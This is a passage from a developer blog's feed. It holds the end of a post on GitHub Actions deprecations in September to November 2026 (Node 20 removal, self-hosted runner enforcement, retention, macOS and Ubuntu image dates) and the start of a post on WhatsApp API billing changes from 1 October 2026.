operator&quot;&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;quot;&lt;span class=&quot;token variable&quot;&gt;$spec&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token for-or-select variable&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; action.yml action.yaml&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
        &lt;span class=&quot;token assign-left variable&quot;&gt;rt&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;gh api &lt;span class=&quot;token string&quot;&gt;&amp;quot;repos/&lt;span class=&quot;token variable&quot;&gt;$repo&lt;/span&gt;/contents/&lt;span class=&quot;token variable&quot;&gt;${sub&lt;span class=&quot;token operator&quot;&gt;:+&lt;/span&gt;$sub&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;}&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$f&lt;/span&gt;?ref=&lt;span class=&quot;token variable&quot;&gt;$ver&lt;/span&gt;&amp;quot;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--jq&lt;/span&gt; .content &lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;2&lt;/span&gt;&amp;gt;&lt;/span&gt;/dev/null &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
             &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; base64 &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-E&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;^[[:space:]]*using:&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;tr&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot; &amp;#39;&lt;span class=&quot;token entity&quot; title=&quot;\&amp;quot;&quot;&gt;\&amp;quot;&lt;/span&gt;&amp;quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;cut&lt;/span&gt; -d: &lt;span class=&quot;token parameter variable&quot;&gt;-f2&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;&lt;span class=&quot;token variable&quot;&gt;$rt&lt;/span&gt;&amp;quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;&lt;span class=&quot;token variable&quot;&gt;$rt&lt;/span&gt;  &lt;span class=&quot;token variable&quot;&gt;$ref&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;done&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On this repo it prints:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;node20  actions/checkout@v4
node20  actions/setup-node@v4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It handles subpaths (&lt;code&gt;github/codeql-action/init@v3&lt;/code&gt;) and SHAs. A SHA pointing at a &lt;code&gt;node20&lt;/code&gt; release &lt;strong&gt;doesn’t fail on the 23rd&lt;/strong&gt;, for the same reason &lt;code&gt;@v4&lt;/code&gt; doesn’t: the runner forces it onto Node 24. What’s different with a SHA is how it gets updated: nothing moves on its own, so Dependabot or a human has to bump it.&lt;/p&gt;
&lt;p&gt;One warning before bumping a major: read the release notes. &lt;code&gt;actions/setup-node&lt;/code&gt; v5 &lt;a href=&quot;https://github.com/actions/setup-node/releases/tag/v5.0.0&quot;&gt;turned on automatic caching&lt;/a&gt; when &lt;code&gt;package.json&lt;/code&gt; has a &lt;code&gt;packageManager&lt;/code&gt; field, and v6 &lt;a href=&quot;https://github.com/actions/setup-node/releases/tag/v6.0.0&quot;&gt;limited it to npm&lt;/a&gt;. If you already pass &lt;code&gt;cache: npm&lt;/code&gt; explicitly, as my CI does, it doesn’t affect you.&lt;/p&gt;
&lt;h3 id=&quot;across-an-organization&quot;&gt;Across an organization&lt;/h3&gt;
&lt;p&gt;GitHub code search reaches every repo at once:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;gh search code &lt;span class=&quot;token parameter variable&quot;&gt;--owner&lt;/span&gt; YOUR_ORG &lt;span class=&quot;token string&quot;&gt;&amp;#39;ACTIONS_ALLOW_USE_UNSECURE_NODE_VERSION&amp;#39;&lt;/span&gt;
gh search code &lt;span class=&quot;token parameter variable&quot;&gt;--owner&lt;/span&gt; YOUR_ORG &lt;span class=&quot;token string&quot;&gt;&amp;#39;ubuntu-22.04 path:.github/workflows&amp;#39;&lt;/span&gt;
gh search code &lt;span class=&quot;token parameter variable&quot;&gt;--owner&lt;/span&gt; YOUR_ORG &lt;span class=&quot;token string&quot;&gt;&amp;#39;macos-14 path:.github/workflows&amp;#39;&lt;/span&gt;
gh search code &lt;span class=&quot;token parameter variable&quot;&gt;--owner&lt;/span&gt; YOUR_ORG node20 &lt;span class=&quot;token parameter variable&quot;&gt;--filename&lt;/span&gt; action.yml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two limits of the &lt;a href=&quot;https://docs.github.com/en/rest/search/search#search-code&quot;&gt;code search API&lt;/a&gt; that will bite you: &lt;strong&gt;it only searches the default branch&lt;/strong&gt; (a workflow on a release branch won’t show up) and it allows &lt;strong&gt;10 requests per minute&lt;/strong&gt;. While preparing this post I hit &lt;code&gt;HTTP 403: API rate limit exceeded&lt;/code&gt; as soon as I chained a handful of searches; add a &lt;code&gt;sleep&lt;/code&gt; between them if you automate it.&lt;/p&gt;
&lt;h2 id=&quot;3-self-hosted-runners-two-dates-in-three-days&quot;&gt;3. Self-hosted runners: two dates in three days&lt;/h2&gt;
&lt;p&gt;If you only use GitHub-hosted runners, skip this section. If you run your own, 25 September matters more than the 23rd.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.blog/changelog/2026-06-12-github-actions-minimum-version-enforcement-timeline-for-self-hosted-runners&quot;&gt;12 June changelog post&lt;/a&gt; resumes enforcement of two rules on github.com:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;To register&lt;/strong&gt; (or re-register) a runner you need version &lt;strong&gt;2.329.0&lt;/strong&gt; or later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;To keep running jobs&lt;/strong&gt;, the runner must install each new release &lt;strong&gt;within 30 days&lt;/strong&gt; of its publication. “A runner pinned to 2.329.0 that never updates again will not pick up jobs.”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Full enforcement begins on &lt;strong&gt;25 September 2026&lt;/strong&gt; (the notice’s table labels that date as GitHub Enterprise Cloud, and the same notice states the change applies to github.com), with brownouts first: on 14, 16 and 18 September, from 11:00 AM to 3:00 PM Eastern, out-of-date runners can neither register nor run jobs. What you see, per the notice, is that “workflows targeting unsupported runners may remain queued or fail.”&lt;/p&gt;
&lt;p&gt;The way to find out when your version expires is an endpoint GitHub &lt;a href=&quot;https://github.blog/changelog/2026-09-03-github-actions-early-september-2026-updates&quot;&gt;added on 3 September&lt;/a&gt;. I queried it today:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;gh api repos/OWNER/REPO/actions/runners/deprecations/2.335.1
&lt;span class=&quot;token comment&quot;&gt;# {&amp;quot;runner_version&amp;quot;:&amp;quot;2.335.1&amp;quot;,&amp;quot;runtime_deprecates_at&amp;quot;:&amp;quot;2026-09-24T15:30:55Z&amp;quot;}&lt;/span&gt;

gh api repos/OWNER/REPO/actions/runners/deprecations/2.337.0
&lt;span class=&quot;token comment&quot;&gt;# {&amp;quot;runner_version&amp;quot;:&amp;quot;2.337.0&amp;quot;,&amp;quot;runtime_deprecates_at&amp;quot;:null}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A runner on 2.335.1 falls out of support on 24 September, so by the time full enforcement starts on the 25th it no longer gets jobs. You get the installed version on the machine itself with &lt;code&gt;./config.sh --version&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The self-hosted checklist, in order:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Update the runner&lt;/strong&gt; to the current release and leave auto-update on. If it’s off, you need a manual cadence shorter than 30 days.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rebuild the images, VM templates and containers&lt;/strong&gt; you create runners from. The changelog asks you to recreate runners built from older cached images or templates: if the image ships a runner older than 2.329.0, it won’t register.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Linux ARM32:&lt;/strong&gt; move to arm64. Node 24 has no official support there, the runner’s &lt;code&gt;linux-arm&lt;/code&gt; package only bundles the Node 20 binary (&lt;a href=&quot;https://github.com/actions/runner/blob/main/src/Misc/externals.sh&quot;&gt;&lt;code&gt;externals.sh&lt;/code&gt;&lt;/a&gt;), and the code that fails the step is already in the runner.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;macOS 13.4 or earlier:&lt;/strong&gt; upgrade the OS. GitHub lists Node 24 as incompatible with those versions.&lt;/li&gt;
&lt;li&gt;Actions that already declare &lt;code&gt;node24&lt;/code&gt; (such as &lt;code&gt;actions/checkout@v5&lt;/code&gt;) require runner &lt;a href=&quot;https://github.com/actions/checkout/releases/tag/v5.0.0&quot;&gt;v2.327.1&lt;/a&gt; at minimum. If you’ve done step 1, you already have it.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;4-retention-1-october-history-gets-deleted&quot;&gt;4. Retention, 1 October: history gets deleted&lt;/h2&gt;
&lt;p&gt;This change breaks no build, but it deletes data. According to the &lt;a href=&quot;https://github.blog/changelog/2026-08-27-actions-retention-will-cover-checks-workflow-runs-and-statuses&quot;&gt;27 August changelog post&lt;/a&gt;, starting &lt;strong&gt;1 October 2026&lt;/strong&gt; checks, workflow runs and statuses follow the same retention setting that already governed artifacts and logs, &lt;strong&gt;90 days by default&lt;/strong&gt;. Until now they were kept for “400+ days” regardless of your configuration.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For public repositories the maximum is &lt;strong&gt;90 days&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The change &lt;strong&gt;is not retroactive&lt;/strong&gt;: raising retention later won’t restore anything.&lt;/li&gt;
&lt;li&gt;Check and workflow run metadata isn’t billed as storage; the associated artifacts and logs are.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What breaks is anything that reads that history beyond your period: deployment metrics computed from &lt;code&gt;gh run list&lt;/code&gt;, audits that link to a specific run, quarterly reports. Export what you need before 1 October.&lt;/p&gt;
&lt;p&gt;What the changelog does &lt;strong&gt;not&lt;/strong&gt; say: what happens to a pull request open for more than 90 days whose required check expires. I couldn’t find it documented. If you have long-lived PRs under branch protection, look at them after 1 October before assuming anything.&lt;/p&gt;
&lt;h2 id=&quot;5-images-macos-14-has-a-date-ubuntu-2204-doesnt-yet&quot;&gt;5. Images: macos-14 has a date, ubuntu-22.04 doesn’t yet&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;macos-14&lt;/code&gt;&lt;/strong&gt; (&lt;a href=&quot;https://github.com/actions/runner-images/issues/13518&quot;&gt;actions/runner-images#13518&lt;/a&gt;): deprecation started on 6 July and support ends on &lt;strong&gt;2 November 2026&lt;/strong&gt;. Before that there are eight brownouts during which jobs fail: 5, 12, 16, 19, 23, 26, 29 and 30 October, each from 14:00 UTC to 00:00 UTC the next day. It covers &lt;code&gt;macos-14&lt;/code&gt;, &lt;code&gt;macos-14-large&lt;/code&gt; and &lt;code&gt;macos-14-xlarge&lt;/code&gt;. The replacement is &lt;code&gt;macos-15&lt;/code&gt;, &lt;code&gt;macos-26&lt;/code&gt; or &lt;code&gt;macos-latest&lt;/code&gt;, which &lt;a href=&quot;https://github.blog/changelog/2026-05-14-github-actions-upcoming-image-migrations&quot;&gt;started pointing to macOS 26&lt;/a&gt; with the migration that began on 15 June.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;ubuntu-22.04&lt;/code&gt;&lt;/strong&gt; (&lt;a href=&quot;https://github.com/actions/runner-images/issues/14254&quot;&gt;actions/runner-images#14254&lt;/a&gt;): on 17 September &lt;strong&gt;deprecation only begins&lt;/strong&gt;. The issue warns about longer queue times at peak hours, not failures. Retirement is on &lt;strong&gt;17 April 2027&lt;/strong&gt;, with brownouts that the issue schedules for March and April (no year given, but they fall before the retirement). It also covers &lt;code&gt;ubuntu-22.04-arm&lt;/code&gt;. The replacement is &lt;code&gt;ubuntu-24.04&lt;/code&gt;, &lt;code&gt;ubuntu-26.04&lt;/code&gt; or &lt;code&gt;ubuntu-latest&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If someone tells you &lt;code&gt;ubuntu-22.04&lt;/code&gt; breaks this week, it doesn’t. Migrate calmly, but don’t leave it for March.&lt;/p&gt;
&lt;h2 id=&quot;whats-in-the-changelog-and-breaks-nothing&quot;&gt;What’s in the changelog and breaks nothing&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;cache-mode&lt;/code&gt;&lt;/strong&gt; (&lt;a href=&quot;https://github.blog/changelog/2026-09-10-control-github-actions-cache-access-with-cache-mode&quot;&gt;10 September&lt;/a&gt;): a new key to limit cache access per workflow or job. It’s opt-in: workflows that don’t set it “continue to use the existing secure defaults.”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The separate Code Quality path&lt;/strong&gt; (&lt;a href=&quot;https://github.blog/changelog/2026-08-20-separate-github-actions-path-for-github-code-quality&quot;&gt;20 August&lt;/a&gt;): only affects you if you have reports filtering on &lt;code&gt;dynamic/github-code-scanning/codeql&lt;/code&gt; or on the &lt;code&gt;github-advanced-security&lt;/code&gt; actor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;actions/checkout&lt;/code&gt; and &lt;code&gt;pull_request_target&lt;/code&gt;&lt;/strong&gt; (&lt;a href=&quot;https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout&quot;&gt;18 June&lt;/a&gt;): this one does break, but it already happened. Since 20 July the floating tags, &lt;code&gt;@v4&lt;/code&gt; included, refuse to check out fork code in &lt;code&gt;pull_request_target&lt;/code&gt;. If your workflow depended on that, it’s already red. It’s the same family of risk I covered in &lt;a href=&quot;https://ortamarco.me/en/blog/npm-supply-chain-trusted-publishing-not-enough/&quot;&gt;the worm that got in through npm trusted publishing&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;what-im-doing-with-my-ci&quot;&gt;What I’m doing with my CI&lt;/h2&gt;
&lt;p&gt;Nothing urgent. &lt;code&gt;actions/checkout@v4&lt;/code&gt; and &lt;code&gt;actions/setup-node@v4&lt;/code&gt; have been running on Node 24 since June, the workflow doesn’t use the opt-out variable, it runs on &lt;code&gt;ubuntu-latest&lt;/code&gt; (currently &lt;code&gt;ubuntu-24.04&lt;/code&gt;) and on GitHub-hosted runners. 23 September changes nothing for it.&lt;/p&gt;
&lt;p&gt;I am going to bump both actions to their current major, for two reasons unrelated to the date: a permanent yellow annotation trains you to ignore annotations, and an action its authors no longer test on the runtime it actually runs on is debt. If you’re also thinking about your own project’s Node rather than the actions’, I covered that in &lt;a href=&quot;https://ortamarco.me/en/blog/what-breaks-upgrading-to-node-26/&quot;&gt;what breaks when upgrading to Node 26&lt;/a&gt;.&lt;/p&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What happens to GitHub Actions on 23 September 2026? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; GitHub removes Node 20 from the runners. Since 16 June 2026 runners had already been running actions on Node 24 by default, and ACTIONS_ALLOW_USE_UNSECURE_NODE_VERSION=true let you go back to Node 20. From 23 September that variable stops working and every JavaScript action runs on Node 24. Self-hosted runners on Linux ARM32 lose support, because Node 24 has no official support for that platform. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does an action that declares using: node20 fail after 23 September? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Not for declaring it. The runner code (HandlerFactory.cs and NodeUtil.cs in actions/runner) rewrites node12 and node16 to node20, and node20 to node24; in the final phase it ignores the environment variables and always picks Node 24, without returning an error. The action fails if its code uses something Node 24 removed, such as tls.createSecurePair or fs.truncate with a file descriptor, or if it runs on a self-hosted Linux ARM32 runner or on macOS 13.4 or earlier. The logs show the annotation: The following actions target Node.js 20 but are being forced to run on Node.js 24. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Do I have to update actions/checkout@v4 and actions/setup-node@v4? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It&amp;#39;s a good idea, but no date forces it. The v4 tags of both declare node20 and v5 onward declare node24. On GitHub-hosted runners, the v4 tags have already been running on Node 24 since June and keep working. When bumping setup-node, read the release notes: v5 turned on automatic caching when package.json has packageManager, and v6 limited it to npm. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How do I find affected workflows across my organization? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; With GitHub code search: gh search code --owner YOUR_ORG with ACTIONS_ALLOW_USE_UNSECURE_NODE_VERSION, with ubuntu-22.04 path:.github/workflows, with macos-14 path:.github/workflows, and with node20 --filename action.yml for your own actions. The API only searches the default branch and allows 10 requests per minute. Labels that come from variables or expressions don&amp;#39;t show up in any search: for those, check the Image: line of the Set up job step in the log. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does ubuntu-22.04 break on 17 September 2026? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; No. On 17 September deprecation only begins, and the notice talks about longer queue times at peak hours. Jobs start failing during the brownouts that issue 14254 in actions/runner-images schedules for March and April, before the image is retired on 17 April 2027. The one with a date this fall is macos-14: brownouts in October and retirement on 2 November 2026. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What do self-hosted runners need to do before 25 September? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Update the runner. From 25 September 2026 GitHub requires version 2.329.0 to register a runner, and each new release must be installed within 30 days to keep receiving jobs. There are brownouts first on 14, 16 and 18 September, from 11:00 AM to 3:00 PM Eastern. The endpoint GET /repos/OWNER/REPO/actions/runners/deprecations/VERSION returns when your version stops running jobs. Also rebuild the images you create runners from. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What changes with GitHub Actions retention on 1 October 2026? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Checks, workflow runs and statuses start following the artifact and log retention setting, which defaults to 90 days; before, they were kept for more than 400 days. For public repositories the maximum is 90 days, and the change is not retroactive. If you have metrics or audits that read old runs, export the data before that date. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Web Development</category><category>GitHub Actions</category><category>CI/CD</category><category>DevOps</category><category>Node.js</category><category>Migration</category><category>Upgrade</category><author>Marco Orta</author></item><item><title>WhatsApp API, October 1: What Changes in Your Code When Meta Starts Billing Service Messages</title><link>https://ortamarco.me/en/blog/whatsapp-api-october-1-billing-webhook/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/whatsapp-api-october-1-billing-webhook/</guid><description>From Oct 1, Meta bills service messages past 1,000 per number and utility inside the window. The webhook pricing object, the free tier and payment method.</description><pubDate>Sun, 13 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;On October 1, 2026 the WhatsApp status webhook does not change shape. It changes meaning. The same &lt;code&gt;pricing&lt;/code&gt; object that arrives today with &lt;code&gt;&amp;quot;type&amp;quot;: &amp;quot;free_customer_service&amp;quot;&lt;/code&gt; starts arriving with &lt;code&gt;&amp;quot;type&amp;quot;: &amp;quot;regular&amp;quot;&lt;/code&gt; in two cases that stay free through September 30: service messages from the 1,001st of the month on each business phone number, and utility templates you send inside the 24-hour customer service window. If your code hardcodes the service rate at zero, decides with &lt;code&gt;billable&lt;/code&gt;, or drops statuses whose category it does not recognize, your cost report will say you spent nothing while Meta bills you.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There is plenty of coverage of the new prices. This post is about the other half: which fields to read, which values each one takes according to Meta’s documentation, how to count the free tier without inventing the rule, and what to check before September 30. The figures come from Meta’s Mexico rate card, in both of the currencies it publishes that row in: MXN and USD.&lt;/p&gt;
&lt;h2 id=&quot;what-is-billed-before-and-after-october-1&quot;&gt;What is billed before and after October 1&lt;/h2&gt;
&lt;p&gt;Per &lt;strong&gt;delivered&lt;/strong&gt; message to a +52 (Mexico) phone number. The numbers come from the official rate cards “effective July 1, 2026” and “effective October 1, 2026”, which I downloaded on September 13 from &lt;a href=&quot;https://developers.facebook.com/documentation/business-messaging/whatsapp/pricing&quot;&gt;Meta’s pricing page&lt;/a&gt; (&lt;code&gt;Mexico&lt;/code&gt; row). Meta publishes a separate card per billing currency; I quote the MXN and USD cards as published and do not convert between them. Use the card that matches your WABA’s currency, and the row that matches your recipients’ country.&lt;/p&gt;





















































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Message&lt;/th&gt;&lt;th&gt;Through Sep 30 (MXN / USD)&lt;/th&gt;&lt;th&gt;From Oct 1 (MXN / USD)&lt;/th&gt;&lt;th&gt;&lt;code&gt;pricing.type&lt;/code&gt; from Oct 1&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Marketing template&lt;/td&gt;&lt;td&gt;0.5614 / 0.0305&lt;/td&gt;&lt;td&gt;&lt;strong&gt;0.7298 / 0.0397&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;regular&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Utility template &lt;strong&gt;outside&lt;/strong&gt; the window&lt;/td&gt;&lt;td&gt;0.1565 / 0.0085&lt;/td&gt;&lt;td&gt;0.1565 / 0.0085&lt;/td&gt;&lt;td&gt;&lt;code&gt;regular&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Utility template &lt;strong&gt;inside&lt;/strong&gt; the 24h window&lt;/td&gt;&lt;td&gt;free&lt;/td&gt;&lt;td&gt;&lt;strong&gt;0.1565 / 0.0085, from the first one&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;regular&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Authentication template&lt;/td&gt;&lt;td&gt;0.1565 / 0.0085&lt;/td&gt;&lt;td&gt;0.1565 / 0.0085&lt;/td&gt;&lt;td&gt;&lt;code&gt;regular&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Service (non-template), 1st to 1,000th of the month per number&lt;/td&gt;&lt;td&gt;free&lt;/td&gt;&lt;td&gt;free&lt;/td&gt;&lt;td&gt;&lt;code&gt;free_customer_service&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Service (non-template), 1,001st onward&lt;/td&gt;&lt;td&gt;free&lt;/td&gt;&lt;td&gt;&lt;strong&gt;0.1565 / 0.0085&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;regular&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Anything inside the 72h free entry point window&lt;/td&gt;&lt;td&gt;free&lt;/td&gt;&lt;td&gt;free&lt;/td&gt;&lt;td&gt;&lt;code&gt;free_entry_point&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Three details that change how you write the code:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The switch happens at 12am in your WABA’s timezone&lt;/strong&gt;, not UTC. The pricing page says so for the whole October package: “Rate updates below apply as of 12am by WhatsApp Business Account (WABA) timezone”.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The 1,000 free tier covers service messages only.&lt;/strong&gt; Meta describes it as “a free monthly tier of 1,000 service messages per business phone number”, with no roll-over. It announces no free tier for utility: a utility template inside the window is billed from the first one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mexico’s marketing rate rises about 30%&lt;/strong&gt; (0.5614 → 0.7298 MXN; 0.0305 → 0.0397 USD). It is the only rate change in that row. Volume tiers will not help a small business either: in the October tiers card, Mexico utility is charged at list rate from message 0 to 1,000,000 a month, and service messages have no tiers at all per the &lt;a href=&quot;https://developers.facebook.com/documentation/business-messaging/whatsapp/pricing/non-template-messages&quot;&gt;non-template messages page&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-real-payload-and-the-fields-that-matter&quot;&gt;The real payload, and the fields that matter&lt;/h2&gt;
